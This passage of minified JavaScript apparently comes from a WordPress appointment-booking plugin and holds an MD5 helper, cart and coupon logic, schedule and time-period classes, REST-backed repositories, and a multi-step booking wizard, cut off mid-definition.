,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,w.exports=function(t,s){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=_(w.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return""!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t+1;return s<this.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return""!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let s=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()/1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=""}}class N extends O{setupProperties(){super.setupProperties(),this.name=""}}class V extends O{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=z(this.startTime,s),a=z(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u("All day","motopress-appointment"):"short"==e&&i==a?i:i+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:"entities"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=H(t);break;case"integer":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let 